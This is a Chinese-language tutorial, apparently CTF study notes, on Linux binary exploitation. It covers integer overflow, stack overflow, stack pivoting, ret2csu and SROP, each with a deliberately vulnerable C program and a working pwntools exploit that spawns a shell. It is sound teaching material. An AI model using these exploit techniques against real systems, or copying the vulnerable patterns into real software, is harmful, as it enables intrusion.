整数溢出
由于数据类型的使用不当产生的利用点
如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| #include<stdio.h> #include<stdlib.h> int main(){ int a=0; char c[10]=""; read(0,c,5); if (c[0]=='-') { a=atoi(c); if (a>=0) { if (a<10) { system("/bin/sh"); } } } }
|
在这个示例中,输入4294967295
,是可以执行 system("/bin/sh");
,因为a
是int
类型,默认为4字节有符号整型
,而4294967295
的十六进制为 0xffffffff
,刚好为-1
的补码 ,所以实际a的值为-1
, -1<0<10
,所以可以绕过判断执行system("/bin/sh");
栈溢出
简单溢出
当程序对输入的数据大小没有限制或限制不严谨,就会出现栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| #include<stdio.h> #include<stdlib.h> char *binsh="/bin/sh"; int vuln(){ system("date"); char a[0x20]={}; read(0,a,0x50); return 0; }
int main(){ setvbuf(stdout,0,2,0); setvbuf(stderr,0,2,0); setvbuf(stdin,0,1,0); vuln(); return 0; }
|
x86
通过返回过程可以看出,如果将栈中储存的vuln返回地址
修改了,就可以控制程序执行流程,且参数就放在 返回地址后面,这样调用某个函数并传参非常方便
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| """exp思路 通过栈溢出,控制返回地址为 system@plt ,并设置参数为 "/bin/sh" """
""" system函数在plt表中的地址为 0x8049090 /bin/sh 字符串在程序中的地址为 0x804a008 ret 指令地址为 0x804900e """ from pwn import * p=process('./s32')
ret=0x0804900e p.sendline(b'a'*0x28+b'b'*4+p32(0x8049090)+p32(ret)+p32(0x804a008)) """ 设置vuln函数返回地址为 0x8049090 设置system函数返回地址为 0x804900e (任意地址) 设置system函数参数为 0x804a008 """ p.interactive()
|
x86_64
通过返回过程可以看出,如果将栈中储存的vuln返回地址
修改了,就可以控制程序执行流程,但前6个参数通过寄存器传入,调用某个函数并传参,就比较麻烦,需要找到pop xxx;ret
指令,控制寄存器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| """exp思路 通过栈溢出,先调用 pop rdi;ret 指令,设置 system函数 的参数, 然后调用 system@plt """
""" system函数在plt表中的地址为 0x401060 /bin/sh 字符串在程序中的地址为 0x402004 ret 指令地址为 0x40101a pop rdi;ret 指令地址为 0x4012b3 """ from pwn import *
rdi=0x4012b3 ret=0x40101a p=process('./s64') gdb.attach(p,'bp %s'%ret) p.sendline(b'a'*0x20+b'b'*8+p64(ret)+p64(rdi)+p64(0x402004)+p64(0x401060)) """ 设置vuln函数返回地址为 0x40101a 用来对齐栈 设置rdi寄存器的值为 0x402004 """ p.interactive()
|
因为在system
函数中 执行了指令 movaps xmmword ptr[rsp+0x50],xmm0
, 即 向 rsp+0x50
的地址处写入 128
位的数据, 而 movaps
指令需要对齐,所以rsp+0x50
指向的地址就要与128位
(0x10字节
)对齐 ,但这里rsp
指向的地址为0x7ffcc3740e48
显然无法与0x10
对齐, 所以在执行system
函数时会导致程序中断, 虽然按照逻辑是可以获取shell
的,但因为程序中断了,所以获取不了shell
栈迁移
当存在栈溢出,但溢出的数据较小时,可以尝试使用栈迁移
能够覆盖ret
1 2 3 4 5 6 7 8 9 10
| #include<stdio.h> int main(){ char a[0x20]={}; read(0,a,0x30); write(1,a,0x30); }
|
在这个仅向栈中写入数据的例子中,数据的地址必须通过rbp
计算得到
存在 leave;ret
相当于 mov rsp,rbp;pop rbp;ret
程序中不存在后门函数,那么想要获取shell
, 就需要获取libc地址,通过栈迁移构造system("/bin/sh");
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| """exp思路 将栈迁移到 got表 附近通过 write 获取程序引用的 libc在内存中的基地址 然后将栈迁移到 bss段 中较高的地址处,执行 system函数 """ from pwn import * p=process('pwn_tran') e=ELF('',checksec=False) libc=ELF('libc-2.33.so',checksec=False) leave=0x4011bd ret=0x4011be read=0x401182 write=0x40119d bss=0x404048 read_got=0x404020 rdi=0x0000000000401223 p.send(b'a'*0x20+p64(bss)+p64(read)) p.read() payload=b'/bin/sh\x00'+p64(bss+0x800)+p64(read)+p64(bss-0x18)+p64(bss-0x18)+p64(write) p.send(payload) p.read(0x40) read_addr=u64(p.read(8)) libc.address=read_addr-libc.sym['read'] print(hex(libc.address)) system=libc.sym['system'] bin_sh=next(libc.search(b"/bin/sh")) bss=bss+0x700 payload=p64(bss+0x200)+p64(rdi)+p64(bin_sh)+p64(system)+p64(bss+0x100-0x20)+p64(leave)
p.send(payload) p.interactive()
|
无法覆盖ret
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #include<stdio.h> char b[0x20]={}; void func(){ char a[0x20]={}; read(0,a,0x28); read(0,b,0x60); write(1,b,0x60); } int main(){ char a=0; func(); }
|
就我现在的认知来说,当栈溢出只能修改rbp
时,至少需要在返回时连续执行两次leave
,才可能控制
> 如果在函数返回后,不存在对向栈中写入数据的操作,则需要用户在迁移前向一块地址已知的区域写入数据,否则就无法控制程序流
> 如果在函数返回后,存在向栈中写入数据的操作(写入数据地址通过rbp
计算),那么依旧可以控制程序流
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| """exp思路 因为程序允许向 bss 段中写入数据,而且在 main 函数中也存在 leave;ret 指令, 所以我们在 func 函数中将 rbp 设置为全局变量 b , 然后通过 main 函数中的 leave;ret 指令,将栈迁移到 bss 段中 在bss段中构造指令泄露 read 函数真实地址, 从而获取 libc 的基地址,进而获取 system 函数地址 因为全局变量 b 太靠近不可写的段了, 所以需要将栈迁移到较高地址处,然后执行 system("/bin/sh") """ from pwn import * b_add=0x404060 read_got=0x404020 read=0x401182 write_plt=0x401050 read_plt=0x401060 rdi=0x401263 rsi_15=0x401261 leave=0x4011d4
e=ELF('./pwn_tran',checksec=0) libc=ELF('libc-2.33.so',checksec=0) p=process('pwn_tran') p.send(b'a'*0x20+p64(b_add)) p.sendline(p64(b_add)+p64(rdi)+p64(1)+p64(rsi_15)+p64(read_got)+p64(0)+p64(write_plt)+p64(read)) p.read(0x60) d=u64(p.read(8)) print(hex(d)) libc.address=d-libc.sym['read'] system=libc.sym['system'] bin_sh=next(libc.search('/bin/sh')) p.sendline('')
payload=p64(b_add+0x808)+p64(rdi)+p64(0)+p64(rsi_15)+p64(b_add+0x808)+p64(0)+p64(read_plt)+p64(leave) print(hex(len(payload))) p.send(payload) pause() p.send(p64(b_add+0x900)+p64(rdi)+p64(bin_sh)+p64(system)) p.interactive()
|
ret2csu
当在执行某些函数或系统调用时需要设置 rdi,rsi,rdx
寄存器时,可以使用ret2csu
方法设置寄存器
利用下半段指令控制寄存器,利用上半段指令设置rdi,rsi,rdx
寄存器,并执行指定地址储存的函数地址(也可以是指令地址),函数或指令的地址通过 r15+rbx*8
获取,所以需要先在已知地址处写入函数或指令的地址(也可以是got表中的成员)
在控制寄存器时一般设置 rbx=0,rbp=1
这样可以跳出上半段的循环,设置r15
为函数地址的二级指针,设置r12
为rdi
的值(仅支持4字节),r13
为rsi
的值,r14
为rdx
的值,就将64位程序的前三个参数设置好了
在我的理解中,ret2csu
就是用来修改 rdx
寄存器的值,因为存在__libc_csu_init
函数就存在 pop rdi
与 pop rsi;pop r15
指令 ,这样就解决了前两个参数,而pop rdx
指令一般不存在,所以需要利用ret2csu
设置
仅在64位程序
中使用,因为64位程序
使用寄存器传参,而32位程序
的参数储存在栈中,不需要再单独通过ret2csu
控制参数
样例为buuctf
中的ciscn_2019_s_3
题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| """exp思路 先通过write(0,buf,0x30) 获取栈地址, 然后将/bin/sh写入栈中, 利用ret2csu,设置rdx,rsi为0, 然后设置rdi为 /bin/sh 的地址 最后调用 execve("/bin/sh"); """ from pwn import *
rdi=0x00000000004005a3 pops=0x40059a call=0x400580 syscall=0x400517 execve=0x4004e2 ret=0x4005a4 vuln=0x4004ed
p=process('./srop') payload=b'a'*0x10+p64(vuln) p.sendline(payload) p.read(0x20) stack=u64(p.read(8))-0x118-0x10 print(hex(stack)) payload="/bin/sh\x00"+p64(ret)+p64(pops)+p64(0)+p64(1)+p64(stack+8)+p64(0)+p64(0)+p64(0)+p64(call)+p64(0)*7+p64(execve)+p64(rdi)+p64(stack)+p64(syscall) p.sendline(payload) p.interactive()
|
SROP
利用系统调用sigreturn设置所有寄存器值为栈中的数据
样例为buuctf
中的ciscn_2019_s_3
题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| """exp思路 利用SROP 设置寄存器的值,构造read(0,bss,0x300),并将栈迁移到bss+8上 然后再次利用SROP 设置寄存器的值,构造execve("/bin/sh") 获取shell """ from pwn import *
context.arch='amd64' p=process('./srop') bss=0x601030 sig=0x4004da syscall=0x400517
execve=SigreturnFrame() execve.rdi=bss execve.rsi=0 execve.rdx=0 execve.rsp=bss+0x300 execve.rbp=bss execve.rax=0x3b execve.rip=syscall
read=SigreturnFrame() read.rdi=0 read.rsi=bss read.rdx=0x300 read.rsp=bss+0x8 read.rbp=bss+0x100 read.rax=0 read.rip=syscall p.sendline(b'a'*0x10+p64(sig)+p64(syscall)+str(read))
p.send(b'/bin/sh\x00'+p64(sig)+p64(syscall)+str(execve)) p.interactive()
|